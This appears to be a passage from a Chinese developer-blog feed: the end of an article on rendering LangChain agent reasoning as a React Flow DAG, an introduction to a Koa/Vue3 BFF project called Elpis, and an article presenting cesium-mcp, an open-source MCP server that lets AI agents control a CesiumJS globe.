    running: '#3b82f6',
    completed: '#22c55e',
    failed: '#ef4444',
  }[data.status]

  return (
    <div 
      className={`thinking-node thinking-node--${data.type}`}
      style={{ borderLeftColor: statusColor, borderLeftWidth: 4 }}
    >
      <div className="thinking-node__header">
        <span className="thinking-node__icon">{getIcon(data.type)}</span>
        <span>{data.label}</span>
        {data.status === 'running' && <PulseIndicator />}
      </div>
      
      {data.streamTokens && data.status === 'running' && (
        <div className="thinking-node__stream">
          {data.streamTokens.join('')}
          <BlinkingCursor />
        </div>
      )}
      
      {data.type === 'tool_call' && data.data.input && (
        <Collapsible title="参数">
          <pre>{JSON.stringify(data.data.input, null, 2)}</pre>
        </Collapsible>
      )}
      
      {data.type === 'tool_result' && (
        <Collapsible title="结果">
          <pre>{data.data.output}</pre>
        </Collapsible>
      )}
    </div>
  )
}

ThinkingChain 转成 @xyflow/react 要的 nodesedges 数组——BFS 遍历顺便算深度:

function chainToFlowElements(
  chain: ThinkingChain,
  getPosition: (id: string, parentId: string | null, depth: number) => { x: number; y: number }
) {
  const nodes: Node[] = []
  const edges: Edge[] = []

  const queue: Array<{ nodeId: string; depth: number }> = []
  const visited = new Set<string>()

  for (const [id, node] of chain.nodes) {
    if (!node.parentId) {
      queue.push({ nodeId: id, depth: 0 })
    }
  }

  while (queue.length > 0) {
    const { nodeId, depth } = queue.shift()!
    if (visited.has(nodeId)) continue
    visited.add(nodeId)

    const thinkingNode = chain.nodes.get(nodeId)!
    const position = getPosition(nodeId, thinkingNode.parentId, depth)

    nodes.push({
      id: nodeId,
      type: 'thinkingNode',
      position,
      data: thinkingNode,
    })

    if (thinkingNode.parentId) {
      edges.push({
        id: `${thinkingNode.parentId}-${nodeId}`,
        source: thinkingNode.parentId,
        target: nodeId,
        animated: thinkingNode.status === 'running',
        style: { stroke: thinkingNode.status === 'failed' ? '#ef4444' : '#64748b' },
      })
    }

    for (const childId of thinkingNode.children) {
      queue.push({ nodeId: childId, depth: depth + 1 })
    }
  }

  return { nodes, edges }
}

最终 React 组件:

function AgentDAGViewer({ chainManager }: { chainManager: ThinkingChainManager }) {
  const [chain, setChain] = useState<ThinkingChain | null>(null)
  const { getNodePosition } = useIncrementalLayout()

  useEffect(() => {
    return chainManager.subscribe(newChain => {
      setChain(structuredClone(newChain))
    })
  }, [chainManager])

  const { nodes, edges } = useMemo(() => {
    if (!chain) return { nodes: [], edges: [] }
    return chainToFlowElements(chain, getNodePosition)
  }, [chain, getNodePosition])

  const reactFlowInstance = useReactFlow()
  useEffect(() => {
    if (chain?.currentNodeId) {
      const pos = getNodePosition(chain.currentNodeId, null, 0)
      reactFlowInstance.setCenter(pos.x, pos.y, { duration: 300, zoom: 1 })
    }
  }, [chain?.currentNodeId])

  return (
    <ReactFlow
      nodes={nodes}
      edges={edges}
      nodeTypes={{ thinkingNode: ThinkingNodeComponent }}
      fitView={false}
      panOnDrag
      zoomOnScroll
      minZoom={0.3}
      maxZoom={1.5}
    >
      <Background />
      <Controls />
    </ReactFlow>
  )
}

踩坑提醒:useReactFlow() 必须在 <ReactFlowProvider> 内部调用否则直接报错,而且这个 Provider 不能和 <ReactFlow> 在同一个组件里——得包在外面一层,文档里写了但不显眼,十个人里九个半会踩这个。

设计权衡和边界

langgraph 还是 AgentExecutor?绕不开的选择。

LangChain 团队自己都在推 langgraph 作为 Agent 编排的下一代方案,AgentExecutor 某种意义上已经进维护模式了。langgraph 原生就是图结构——StateGraph 加节点加边——天然比 AgentExecutor 那个 while 循环模型更贴合 DAG 可视化的需求:

import { StateGraph } from '@langchain/langgraph'

const workflow = new StateGraph({ channels: agentState })
  .addNode('agent', callModel)
  .addNode('tools', callTools)
  .addEdge('__start__', 'agent')
  .addConditionalEdges('agent', shouldContinue, {
    continue: 'tools',
    end: '__end__',
  })
  .addEdge('tools', 'agent')

const app = workflow.compile()

langgraph 也不是万能药,它的学习曲线比 AgentExecutor 陡不少——StateGraphchannelsconditional edgescheckpointer 一堆新概念砸过来,而且 JS 版本目前功能比 Python 版少了一截。如果你的场景就是一个简单的 ReAct 循环,AgentExecutor 配上前面那套 callback 机制已经够使了,别为了架构上的"正确性"引入不必要的复杂度。能跑。够了。

性能方面最大的瓶颈根本不在前端渲染。

状态持久化这块,ThinkingChainManager 的数据目前纯内存,location.reload() 一下就全没了。如果需要回放历史对话的推理过程——企业场景里这个需求挺常见,审计合规什么的——得把整个 ThinkingChain 序列化存后端,每个事件带 timestamp,回放时按时间戳重新 replay。这块展开讲又是一整篇文章的体量了。

跑了大半年生产环境,这套方案最大的教训就一句话:别想一步到位。ThinkingNodetype 枚举我改了四版,ToolMeta 的结构加了三次字段,DAG 布局算法换过两种方案。先用 AgentExecutor 加最基础的 callback 加一个简单的列表式渲染跑通,确认产品方向没问题了再逐步往上堆 DAG 可视化、增量布局、流式 token 这些花活。想等一步到位只会等出个寂寞来。

Elpis: 基于vue3+webpack5+nodejs搭建一个完整项目

2026年3月15日 17:55

前言

  • 本文主要是基于抖音哲玄前端进行学习与总结,如有需要可以抖音搜索 哲玄前端 进行了解学习。
  • 个人目前是纯前端,对于服务端所知不够,如果你也有学习完整项目的想法,可以和跟着我的文章一起学习了解整个项目的过程。后续会持续更新。文章中若有不对的地方请多多指教,我会及时更正。

项目背景

日常开发中我们往往面临

  1. 重复性很高的工作
  2. CRUD等基础工作
  3. 多套系统交付间产生大量工作
  4. 更多偏向纯前端开发,设计不到基建、服务相关知识

从这些点出发,我们将开发这个项目。

项目介绍

  • 技术栈:NodeJS 、Koa 、 vue3 、 webpack5
  • 一个企业级应用框架,用于快速构建企业级应用
  • 项目一开始经历了技术选型,然后确定整体架构。项目初始化后,先从BFF层开始开发。

项目架构

项目整体分成3层:

前端(Web/App/小程序) 
       ↓
专属 BFF(如 Web-BFFMobile-BFF)  
       ↓ 
通用后端服务(微服务/数据库/第三方API

image.png

其中BFF层的结构方式为

image.png

项目elpis-cor解析(BFF层)

elpis-cor是基于koa来实现的解析器,专门解析规定app目录下的中间件部分。 结构目录简单组成:

elpis
  |--app           //解析器指定解析的中间件
      |--middleware
      |    |--error-handler.js    //错误边界中间件
      |--router
      |    |--view.js             //加载路由
      middleware.js     //注入中间件地方
  |--config        //环境配置
  |--elpis-core    //解析器
      |--loader        //解析器相关文件都放这
          |--middleware.js    //middleware中间件解析器
          |--router.js        //路由中间件解析器
            ...
      |--index.js      //解析器入口
  |--logs          //日志
  |--index.js      //入口文件
  |--package.json  //配置文件

index.js入口文件是整个项目的入口,可以传入一些配置,比如项目名、首页地址等,然后先去加载解析器,同时会去加载注入中间件的app下的middleware.js,利用loader去处理整体的app文件下中间件。

让 AI 用自然语言操控三维地球 -- Cesium MCP 开源实践

作者 laogao
2026年3月15日 16:53

让 AI 用自然语言操控三维地球 -- Cesium MCP 开源实践

一句"飞到埃菲尔铁塔,加个红色标记",Claude/Copilot/Cursor 就能帮你在 CesiumJS 里完成操作。这是怎么做到的?

演示效果

先看效果,了解 cesium-mcp 能做什么:

demo-full.gif

演示中通过 AI 对话完成了相机飞行、添加标记、样式修改等操作。

背景:当 GIS 遇上 AI Agent

CesiumJS 是 WebGL 三维地球可视化的事实标准。但凡涉及地理信息系统(GIS)的 Web 项目——智慧城市、数字孪生、无人机航线规划——几乎绑定 CesiumJS。

问题是:Cesium API 体量庞大,光 Viewer 就有几十个配置项,Entity 系统更是嵌套层层。新人写个"在地图上加个点"都要翻半天文档。

2024 年底 Anthropic 推出了 MCP(Model Context Protocol),让 AI 智能体能以标准化方式调用外部工具。我们顺着这条路做了一件事:

把 CesiumJS 的能力通过 MCP 协议暴露出来,让任何 AI 智能体都能用自然语言操控三维地球。

这就是 cesium-mcp

它能做什么

整体架构

graph LR
    subgraph AI["AI 智能体"]
        A1["Claude Desktop"]
        A2["VS Code Copilot"]
        A3["Cursor"]
    end

    subgraph MCP_Server["cesium-mcp-runtime<br/>(Node.js MCP Server)"]
        R1["MCP stdio 接口"]
        R2["WebSocket Server"]
    end

    subgraph Browser["浏览器"]
        B1["cesium-mcp-bridge<br/>(SDK)"]
        C1["CesiumJS Viewer<br/>三维地球"]
    end

    A1 -->|"MCP 协议<br/>(stdio)"| R1
    A2 -->|"MCP 协议<br/>(stdio)"| R1
    A3 -->|"MCP 协议<br/>(stdio)"| R1
    R1 <--> R2
    R2 <-->|"WebSocket<br/>JSON-RPC"| B1
    B1 -->|"命令执行"| C1

    style AI fill:#e8f4f8,stroke:#2196F3,stroke-width:2px
    style MCP_Server fill:#fff3e0,stroke:#FF9800,stroke-width:2px
    style Browser fill:#e8f5e9,stroke:#4CAF50,stroke-width:2px

简单说就是三层:

  1. cesium-mcp-bridge(浏览器 SDK):嵌入你的 CesiumJS 应用,通过 WebSocket 接收命令并执行
  2. cesium-mcp-runtime(MCP Server):连接 AI 智能体和浏览器,暴露 19 个标准化工具
  3. cesium-mcp-dev(开发辅助 MCP Server):在 IDE 里让 AI 助手更懂 Cesium API

19 个工具,覆盖 GIS 核心场景

类别 工具 说明
相机 flyTo setView getView zoomToExtent 飞行定位、视角切换
图层 addGeoJsonLayer addHeatmap addMarker addLabel 数据叠加、热力图
图层管理 removeLayer setLayerVisibility listLayers updateLayerStyle 增删改查
三维数据 load3dTiles loadTerrain loadImageryService 3D Tiles、地形、影像服务
底图 setBasemap 天地图、ArcGIS、OSM 一键切换
交互 highlight screenshot 要素高亮、截图
动画 playTrajectory 沿路径播放轨迹动画

你对 AI 说"加载这个 GeoJSON,用渐变色渲染人口密度",它会自动调用 addGeoJsonLayer 并传入样式参数。

三分钟跑起来

第一步:浏览器嵌入 bridge

npm install cesium-mcp-bridge
import { CesiumMcpBridge } from 'cesium-mcp-bridge';

// viewer 是你已有的 Cesium.Viewer 实例
const bridge = new CesiumMcpBridge(viewer, { port: 9100 });
bridge.connect();

第二步:启动 MCP 运行时

npx cesium-mcp-runtime

第三步:接入 AI 智能体

以 Claude Desktop 为例,在配置文件中添加:

{
  "mcpServers": {
    "cesium": {
      "command": "npx",
      "args": ["-y", "cesium-mcp-runtime"]
    }
  }
}

VS Code Copilot 用户在 .vscode/mcp.json 中配置:

{
  "servers": {
    "cesium": {
      "command": "npx",
      "args": ["cesium-mcp-runtime"]
    }
  }
}

然后直接用自然语言下指令:

  • "飞到北京天安门,高度 1000 米"
  • "加载这个 3D Tiles 模型"
  • "画一条从上海到纽约的折线"
  • "截张图发我"

开发时也有 AI 加持

除了运行时操控,我们还做了 cesium-mcp-dev——专为 IDE AI 助手设计的 MCP 服务器:

graph LR
    subgraph IDE["IDE 环境"]
        D1["GitHub Copilot"]
        D2["Cursor AI"]
        D3["Claude Code"]
    end

    subgraph DevServer["cesium-mcp-dev<br/>(MCP Server)"]
        T1["cesium_api_lookup<br/>API 文档查询"]
        T2["cesium_code_gen<br/>代码生成"]
        T3["cesium_entity_builder<br/>Entity 构建器"]
    end

    subgraph Output["输出"]
        O1["API 签名 & 示例"]
        O2["TypeScript 代码片段"]
        O3["Entity 配置 JSON"]
    end

    D1 -->|"MCP stdio"| DevServer
    D2 -->|"MCP stdio"| DevServer
    D3 -->|"MCP stdio"| DevServer
    T1 --> O1
    T2 --> O2
    T3 --> O3

    style IDE fill:#f3e5f5,stroke:#9C27B0,stroke-width:2px
    style DevServer fill:#fff3e0,stroke:#FF9800,stroke-width:2px
    style Output fill:#e8f5e9,stroke:#4CAF50,stroke-width:2px

提供 3 个工具:

工具 功能
cesium_api_lookup 按类名/方法查 Cesium API 文档,覆盖 Viewer、Entity、Camera 等 12 个核心类
cesium_code_gen 自然语言生 Cesium 代码,内置 11 个常见场景模板
cesium_entity_builder 交互式构建 Entity 配置,支持 8 种类型(point/polygon/model 等)

配置方式和 runtime 完全一致:

{
  "servers": {
    "cesium-dev": {
      "command": "npx",
      "args": ["cesium-mcp-dev"]
    }
  }
}

这意味着你在 VS Code 里写 Cesium 代码时,Copilot 可以直接查 API、生成代码片段、构建 Entity 配置——再也不用频繁切到文档网站。

一次操控的完整流程

以"飞到北京天安门,加个红色标记"为例,看看数据是怎么流转的:

sequenceDiagram
    participant User as 用户
    participant AI as AI 智能体
    participant RT as cesium-mcp-runtime
    participant BR as cesium-mcp-bridge
    participant CS as CesiumJS

    User->>AI: "飞到北京天安门,加个红色标记"
    AI->>AI: 理解意图,拆解为两步

    rect rgb(232, 244, 248)
    Note over AI,CS: 第一步:飞行定位
    AI->>RT: MCP tool_call: flyTo({lon:116.39, lat:39.91, h:1000})
    RT->>BR: WebSocket JSON-RPC
    BR->>CS: viewer.camera.flyTo(...)
    CS-->>BR: 飞行完成
    BR-->>RT: result: success
    RT-->>AI: tool_result: "已飞行到目标位置"
    end

    rect rgb(232, 245, 233)
    Note over AI,CS: 第二步:添加标记
    AI->>RT: MCP tool_call: addMarker({lon:116.39, lat:39.91, color:"red"})
    RT->>BR: WebSocket JSON-RPC
    BR->>CS: viewer.entities.add(...)
    CS-->>BR: entity created
    BR-->>RT: result: {id: "marker-1"}
    RT-->>AI: tool_result: "已添加红色标记"
    end

    AI-->>User: "已飞到天安门并添加了红色标记"

AI 自动将自然语言拆解为多个工具调用,每个工具走完 MCP -> WebSocket -> CesiumJS 的完整链路,结果逐级回传。用户只需要说一句话。

技术实现要点

Bridge:命令注册与执行

cesium-mcp-bridge 的核心是一个命令注册表。每个 MCP 工具对应一个命令处理器,通过 CesiumBridge.execute() 分发:

const bridge = new CesiumBridge(viewer);
// 收到 WebSocket 消息后
const result = await bridge.execute({
  action: 'flyTo',
  params: { longitude: 116.4, latitude: 39.9, height: 1000 }
});

Bridge 不关心命令从哪来——WebSocket、HTTP、甚至手动调用都行。这种解耦使得 Bridge SDK 可以独立于 MCP 使用。

Runtime:双向通信

Runtime 同时充当 MCP stdio 服务器和 WebSocket 服务器。AI 智能体通过 MCP 协议发送工具调用,Runtime 把它翻译成 JSON-RPC 命令通过 WebSocket 推给浏览器,等待执行结果后回传给 AI。

支持多会话(session),同一个 Runtime 可以连接多个浏览器页面。

版本策略

主版本号.次版本号跟踪 CesiumJS(1.139.x 对应 Cesium ~1.139.0),补丁版本独立迭代 MCP 功能。这样用户一看版本号就知道兼容哪个 Cesium。

已上架平台

平台 状态
npm Registry cesium-mcp-bridge / cesium-mcp-runtime / cesium-mcp-dev v1.139.2
MCP Official Registry io.github.gaopengbin/cesium-mcp-runtime / cesium-mcp-dev
Smithery runtime(19 tools)/ dev(3 tools)
awesome-mcp-servers PR 已提交

适用场景

  • 快速原型:用自然语言几分钟搭出 GIS 可视化 demo
  • 非开发人员:分析师、项目经理可以直接对 AI 说需求,AI 在 Cesium 上渲染结果
  • 教学演示:课堂上让学生用自然语言探索地理数据
  • 自动化流水线:CI/CD 中自动截图、自动验证地图渲染
  • 智慧城市/数字孪生:AI Agent 作为交互层,终端用户通过对话操控三维场景

参与贡献

项目完全开源(MIT),欢迎参与:

git clone https://github.com/gaopengbin/cesium-mcp.git
cd cesium-mcp
npm install
npm run build
npm test

GitHub: github.com/gaopengbin/… 官方文档: gaopengbin.github.io/cesium-mcp


如果你也在做 GIS + AI 的事情,欢迎交流。有问题直接在 GitHub Issues 提,我们会及时回复。

❌
❌